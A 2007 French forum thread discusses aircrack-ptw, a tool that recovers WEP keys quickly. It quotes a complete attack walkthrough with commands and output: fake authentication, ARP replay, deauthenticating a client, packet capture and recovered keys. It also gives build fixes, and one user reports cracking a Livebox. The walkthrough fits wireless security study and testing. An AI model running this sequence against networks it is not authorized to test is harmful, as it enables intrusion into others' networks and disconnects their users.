Forum d'entraide: tuto-fr.com

wxcvbn · 08-04-2007 12:42:09

http://forums.remote-exploit.org/showthread.php?t=6251

Si je comprend bien ce qui est écrit sur ce forum, cela permettrait de decrypter la clé en ayant besoin de beaucoup moins de données.
J'ai lu en travers les liens donc j'ai pas trop saisi comment utiliser cet aircrack-ptw, tout ce que j'ai vu c'est qu'il ne faut pas enregistrer avec --ivs...

Bon je verrai ça plus tard

08-04-2007 12:42:09

tefal · 08-04-2007 16:09:58

Les articles de ce blog sont pas mal:
http://sid.rstack.org/blog/index.php/20 … a-couronne

Cette nouvelle technique permettrait de casser une clé WEP de 104 bits avec moins de 100000 paquets ARP capturés sur le réseau, là où aircrack-ng en nécessite quelques 600000, et encore, quand on a de la chance. Il s'agit donc d'un pas considérable que forcément je ne pouvais m'empêcher d'étudier, et surtout de tester, dans la mesure où l'outil implémentant cette nouvelle attaque, aircrack-ptw, est disponible. Et là, c'est le drame...

stats for bssid 00:16:B0:3D:E4:32 keyindex=0 packets=40297
Found key with len 13: 7A 52 C3 A0 EB DA 0E D3 00 02 24 4D 40

Et oui, c'est encore de ces faux poissons d'avril, une vraie nouvelle publiée un 1er avril. Si on n'en attendait pas moins de la part de cryptographes, il ne faudrait pas que ça devienne une mode non plus...

wxcvbn · 08-04-2007 16:21:42

et ?

tefal · 08-04-2007 16:36:19

Toi aussi tu t'y met .

J'ai lu en travers les liens donc j'ai pas trop saisi comment utiliser cet aircrack-ptw, tout ce que j'ai vu c'est qu'il ne faut pas enregistrer avec --ivs...

L'attaque se déroule comme une attaque classique avec aircrack-ng :

Code:

~# aireplay-ng --fakeauth 0 -a 00:16:B0:3D:E4:32 \
        -h 00:01:02:03:04:05 -e test ath1
10:01:48  Sending Authentication Request
10:01:48  Authentication successful
10:01:48  Sending Association Request
10:01:48  Association successful :-)

Code:

~# aireplay-ng --arpreplay -b 00:16:B0:3D:E4:32 \
        -h 00:01:02:03:04:05 ath1
Saving ARP requests in replay_arp-0404-100153.cap
You should also start airodump-ng to capture replies.

Code:

~# aireplay-ng --deauth -0 -a 00:16:B0:3D:E4:32 \
        -c 00:0E:67:4B:23:DC ath1
10:02:39  Sending DeAuth to station
        -- STMAC: [00:0E:67:4B:23:DC]
10:02:40  Sending DeAuth to station
        -- STMAC: [00:0E:67:4B:23:DC]
10:02:40  Sending DeAuth to station
        -- STMAC: [00:0E:67:4B:23:DC]

Code:

~# airodump-ng -w test --channel 1 ath1
 CH  1 ][ Elapsed: 7 mins ][ 2007-04-04 10:08

 BSSID              PWR  Beacons   # Data  CH  MB  ENC  ESSID

 00:16:B0:3D:E4:32   50     4284    40968   1  54  WEP  test

 BSSID              STATION            PWR  Packets  Probes

 00:16:B0:3D:E4:32  00:0E:67:4B:23:DC   62    19732  test
 00:16:B0:3D:E4:32  00:01:02:03:04:05   51    22361  test

Code:

$ aircrack-ptw test-01.cap
This is aircrack-ptw 1.0.0
For more informations see
    http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/
allocating a new table
bssid = 00:16:B0:3D:E4:32  keyindex=0
stats for bssid 00:16:B0:3D:E4:32  keyindex=0 packets=40297
Found key with len 13: 7A 52 C3 A0 EB DA 0E D3 00 02 24 4D 40

Le tuto est peut être lui aussi à revoir..

wxcvbn · 08-04-2007 16:56:18

il faudrait penser à te calmer un petit peu

tefal · 08-04-2007 17:27:45

lol tu demande si qulqu'un connais aircrack-ptw.
je met un passage d'un lien pour te donner envie de lire la suite ou tout est expliquer; tu répond "et".
Faut faire quoi alors?

wxcvbn · 08-04-2007 17:48:38

Ben que tu réflechisse un peu...

Tu as pas vu que j'avais mis un lien ?? et que j'ai marqué je m'y interesserai plus tard..
Je suis tombé dessus à midi mais j'avais pas le temps de tout lire, j'ai quand meme pris 2 minutes pour poster sur le forum et mettre le lien pour ceux qui seraient interessés.
car au cas où ça t'aurai échappé (surement pas vu comme tu es fort) le sujet n'a aps été abordé sur le forum...

tefal · 08-04-2007 18:26:35

Tu fait dans l'humanitaire?

car au cas où ça t'aurai échappé (surement pas vu comme tu es fort)

Je vomi.

Dernière modification par tefal (08-04-2007 18:26:57)

Billyboylindien · 08-04-2007 18:29:39

Pas de stress les gars.
Merci pour l'info, je ne connaissais pas du tout.
Il y a de nouveau algo de crack wep peut etre que ce nouvel aircrack les implemente.

Meriterais un petit test

zac · 08-04-2007 18:54:07

Franchement wxcvbn je ne comprend vraiment pas ta réaction...

En tout cas je vais tester ça au plus vite (normalement d'ici ce soir) et peut-être en faire un mini-tutorial que Billy complétera par la suite

guigui_cosmos · 08-04-2007 19:12:16

zac a écrit:
En tout cas je vais tester ça au plus vite (normalement d'ici ce soir) et peut-être en faire un mini-tutorial que Billy complétera par la suite

Oui très intéressant cet article, merci à nos deux dénicheurs !
En tout cas je pensais que le WEP touchait le fond, la il casse carrément la baraque ^^
Si Zac peut nous faire des petits screenshots, ce serait perfect

wxcvbn · 08-04-2007 19:33:05

tefal a écrit:
Tu fait dans l'humanitaire?
car au cas où ça t'aurai échappé (surement pas vu comme tu es fort)
Je vomi.

Zac> tu comprend mieux ma réaction quand tu lis ça ?

tefal · 08-04-2007 19:49:43

Heu tu n'a pas réagi à sa.

wxcvbn · 08-04-2007 19:51:56

c'est dans la même lignée

tefal · 08-04-2007 19:58:26

Au moins au pourras pas dire que mes post sont insipide

zac · 08-04-2007 21:52:29

La tutorial sera disponible dans 1 heure maximum.

Bien sûr celui-ci sera loin d'être complet, Mais il vous donneras déjà une première impression

zac · 08-04-2007 23:23:12

http://dev.tuto-fr.com/aircrack-ptw.html

Et voilà

kungfuserge · 09-04-2007 09:15:30

D'après ce que j'ai lu on peut l'installer sur BT2 en Live CD...mais airoscript ne le reconnait pas

Originally Posted by zambuka42
not as of now, aircrack-ng and aircrack-ptw are two completely different programs with similiar names. Your airoscript has no clue about it.

""""I, however, am almost done with a script I've been writing for a while which will not only use aircrack-ptw, but it is optimized for 1 or 2 wireless cards, runs in CLI, and is pretty intelligent (meaning it has automatic contingencies for many conceivable difficulties you may run in to) I'll be releasing it here for anyone who cares to test it out.""""" http://forums.remote-exploit.org/showth … #post25524

Je cite le court dialogue d'un compilateur:

bt aircrack-ptw-1.0.0 # make
gcc -o aircrack-ptw -Wall -fomit-frame-pointer -O3 -lpcap aircrack-ptw.c aircrack-ptw-lib.c
/tmp/ccs3gLp1.o(.text+0xaf): In function `main':
: undefined reference to `pcap_open_offline'
/tmp/ccs3gLp1.o(.text+0xcf): In function `main':
: undefined reference to `pcap_datalink'
/tmp/ccs3gLp1.o(.text+0x107): In function `main':
: undefined reference to `pcap_next_ex'
/tmp/ccs3gLp1.o(.text+0x2f0): In function `main':
: undefined reference to `pcap_next_ex'
collect2: ld returned 1 exit status
make: *** [aircrack-ptw] Error 1
bt aircrack-ptw-1.0.0 #

"yes, I figured out the problem. Open the Makefile, and move the -lpcap to the end of the gcc line. I love this program!!!!"

"aircrack-ptw: aircrack-ptw.c aircrack-ptw-lib.c aircrack-ptw-lib.h
gcc -o aircrack-ptw -Wall -fomit-frame-pointer -O3 aircrack-ptw.c aircrack-ptw-lib.c -lpcap

attacksim: attacksim.c aircrack-ptw-lib.c aircrack-ptw-lib.h
gcc -o attacksim -Wall -fomit-frame-pointer -O3 attacksim.c aircrack-ptw-lib.c -lpcap

clean:
rm -f aircrack-ptw attacksim"

Dernière modification par kungfuserge (09-04-2007 09:22:23)

zac · 09-04-2007 09:37:19

Si la lib "libpcap" est compiler sur bt2, alors la compilation de ce soft sera possible.

Pour en revenir à aircrack-ptw, je l'ai testé sur deux ap différents avec à peu près 500 000 ivs et il n'a rien cracké du tout... (sachant que l'un des deux n'avait qu'une clé wep 64 bits )

Enfin bon, libre à vous de le tester...

tefal · 09-04-2007 20:13:50

Avec 30 000 j'en ai eu assez sur une clef de 64.

Code:

bssid = 00:14:7F:AB:47:DB  keyindex=0
stats for bssid 00:14:7F:AB:47:DB  keyindex=0 packets=32762
Found key with len 05: 6D 97 02 46 14

Dernière modification par tefal (09-04-2007 20:15:38)

wxcvbn · 09-04-2007 20:34:22

tefal> tu l'a intégré sous backtrack v2 ou bien tu as une installation "en dur" ?

car j'aimerai bien que qqn detaille clairement les manips à faire pour l'installer quand on se sert d'un live-cd.

Billyboylindien · 09-04-2007 23:45:58

et hop:
http://forums.remote-exploit.org/showthread.php?p=25318

kungfuserge · 10-04-2007 07:40:05

--------------------------------------------------------------------------------

Quote:
Originally Posted by kungfuserge
Hello
I'm a newbie and I am running BT.2 on live CD ;

Can you indicate How to Install Aircrack-ptw ....I understand that it needs Lipcap0.8-dev to be installed first; so I'm rather confused on what to do and which command to use...
I would be very much interested on an update of BT.2 including aircrack-ptw
Reg.

Ok folks, a few peeps have asked me for a step by step on this easy little tools, so here goes:

Download Aircrack-ptw (you can find the link above, I can't add a URL right now)

Untar it: tar -xvzf aircrack-ptw-1.0.0.tar.gz

cd aircrack-ptw-1.0.0

edit the Makefile with whatever editor you use

change the first GCC line to:
gcc -o aircrack-ptw -Wall -fomit-frame-pointer -O3 aircrack-ptw.c aircrack-ptw-lib.c -lpcap

Change the second GCC line to:
gcc -o attacksim -Wall -fomit-frame-pointer -O3 -lpcap

Exit the editor

type "make"

the aircrack-ptw executable has now been created

copy it wherever you want (preferably your path)

enjoy

Dernière modification par kungfuserge (10-04-2007 07:41:03)

tefal · 10-04-2007 17:54:45

wxcvbn> Chez moi je l'ai compiler sur ma distrib.

zac> Sa vien pas de ta compile? Car chez moi il marche très bien ce coquin:

Code:

# /home/Dax/aircrack-ptw-1.0.0/aircrack-ptw /mnt/fichier/wlan/capture/bul-01.cap
This is aircrack-ptw 1.0.0
For more informations see http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/
allocating a new table
bssid = C6:B9:D1:58:2D:58  keyindex=0
stats for bssid C6:B9:D1:58:2D:58  keyindex=0 packets=11944
Found key with len 05: 30 A7 AD 74 1B

charly5942 · 10-04-2007 19:59:26

Marche très bien ce programme: 100 000 IVS pour une livebox avec attaque chopchop et clef trouvée

Petite question: il n'existe pas de programmes pour convertir les fichiers ivs en fichier cap?? je crois que c'est plutôt le contraire: CAP=>IVS Quelqu'un peut confirmer???

Forum d'entraide: tuto-fr.com

Promos wifi

Quelqu'un connait aircrack-ptw ?

#1 08-04-2007 12:42:09

Quelqu'un connait aircrack-ptw ?

08-04-2007 12:42:09

#2 08-04-2007 16:09:58

Re: Quelqu'un connait aircrack-ptw ?

#3 08-04-2007 16:21:42

Re: Quelqu'un connait aircrack-ptw ?

#4 08-04-2007 16:36:19

Re: Quelqu'un connait aircrack-ptw ?

Code:

Code:

Code:

Code:

Code:

#5 08-04-2007 16:56:18

Re: Quelqu'un connait aircrack-ptw ?

#6 08-04-2007 17:27:45

Re: Quelqu'un connait aircrack-ptw ?

#7 08-04-2007 17:48:38

Re: Quelqu'un connait aircrack-ptw ?

#8 08-04-2007 18:26:35

Re: Quelqu'un connait aircrack-ptw ?

#9 08-04-2007 18:29:39

Re: Quelqu'un connait aircrack-ptw ?

#10 08-04-2007 18:54:07

Re: Quelqu'un connait aircrack-ptw ?

#11 08-04-2007 19:12:16

Re: Quelqu'un connait aircrack-ptw ?

zac a écrit:

#12 08-04-2007 19:33:05

Re: Quelqu'un connait aircrack-ptw ?

tefal a écrit:

#13 08-04-2007 19:49:43

Re: Quelqu'un connait aircrack-ptw ?

#14 08-04-2007 19:51:56

Re: Quelqu'un connait aircrack-ptw ?

#15 08-04-2007 19:58:26

Re: Quelqu'un connait aircrack-ptw ?

#16 08-04-2007 21:52:29

Re: Quelqu'un connait aircrack-ptw ?

#17 08-04-2007 23:23:12

Re: Quelqu'un connait aircrack-ptw ?

#18 09-04-2007 09:15:30

Re: Quelqu'un connait aircrack-ptw ?

#19 09-04-2007 09:37:19

Re: Quelqu'un connait aircrack-ptw ?

#20 09-04-2007 20:13:50

Re: Quelqu'un connait aircrack-ptw ?

Code:

#21 09-04-2007 20:34:22

Re: Quelqu'un connait aircrack-ptw ?

#22 09-04-2007 23:45:58

Re: Quelqu'un connait aircrack-ptw ?

#23 10-04-2007 07:40:05

Re: Quelqu'un connait aircrack-ptw ?

#24 10-04-2007 17:54:45

Re: Quelqu'un connait aircrack-ptw ?

Code:

#25 10-04-2007 19:59:26

Re: Quelqu'un connait aircrack-ptw ?

Message rapide

Pied de page du Forum